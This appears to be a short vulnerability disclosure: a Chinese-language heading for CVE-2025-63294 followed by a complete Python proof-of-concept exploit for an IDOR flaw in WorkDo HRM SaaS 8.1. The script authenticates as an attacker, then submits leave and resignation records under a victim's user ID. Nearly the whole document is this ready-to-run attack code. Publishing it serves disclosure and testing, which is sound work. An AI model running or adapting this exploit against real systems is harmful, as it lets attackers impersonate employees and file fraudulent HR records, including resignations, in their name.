CVE-2025-63294: WorkDo HRM SaaS权限绕过漏洞允许冒充其他用户操作

#!/usr/bin/env python3 """ CVE-2025-63294 PoC - WorkDo HRM SaaS IDOR Vulnerability This PoC demonstrates the IDOR vulnerability in WorkDo HRM SaaS HR and Payroll Tool 8.1 """ import requests import json TARGET_URL = "https://vulnerable-workdo-instance.com" ATTACKER_USERNAME = "[email protected]" ATTACKER_PASSWORD = "attacker_password" VICTIM_USER_ID = "12345" # ID of the victim user def authenticate(): """Authenticate as the attacker user""" session = requests.Session() login_data = { "email": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD } response = session.post(f"{TARGET_URL}/api/auth/login", json=login_data) if response.status_code == 200: return session else: raise Exception("Authentication failed") def create_leave_record_as_victim(session): """Create a leave record on behalf of the victim user""" # Original request would have attacker's user_id # We modify it to use the victim's user_id leave_data = { "user_id": VICTIM_USER_ID, # IDOR: Using victim's ID "leave_type": "annual", "start_date": "2025-12-01", "end_date": "2025-12-05", "reason": "Vacation" } headers = { "Content-Type": "application/json", "X-CSRF-Token": session.cookies.get("csrf_token") } response = session.post( f"{TARGET_URL}/api/leave/create", json=leave_data, headers=headers ) return response def create_resignation_record_as_victim(session): """Create a resignation record on behalf of the victim user""" resignation_data = { "user_id": VICTIM_USER_ID, # IDOR: Using victim's ID "resignation_date": "2025-12-31", "reason": "Personal reasons" } headers = { "Content-Type": "application/json", "X-CSRF-Token": session.cookies.get("csrf_token") } response = session.post( f"{TARGET_URL}/api/resignation/create", json=resignation_data, headers=headers ) return response def main(): print("[*] CVE-2025-63294 PoC - WorkDo HRM IDOR Vulnerability") print(f"[*] Target: {TARGET_URL}") print(f"[*] Victim User ID: {VICTIM_USER_ID}") try: # Step 1: Authenticate as attacker print("\n[1] Authenticating as attacker...") session = authenticate() print("[+] Authentication successful") # Step 2: Create leave record as victim print("\n[2] Creating leave record on behalf of victim...") response = create_leave_record_as_victim(session) if response.status_code in [200, 201]: print("[+] Leave record created successfully as victim") print(f" Response: {response.json()}") else: print(f"[-] Failed to create leave record: {response.status_code}") # Step 3: Create resignation record as victim print("\n[3] Creating resignation record on behalf of victim...") response = create_resignation_record_as_victim(session) if response.status_code in [200, 201]: print("[+] Resignation record created successfully as victim") print(f" Response: {response.json()}") else: print(f"[-] Failed to create resignation record: {response.status_code}") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": main()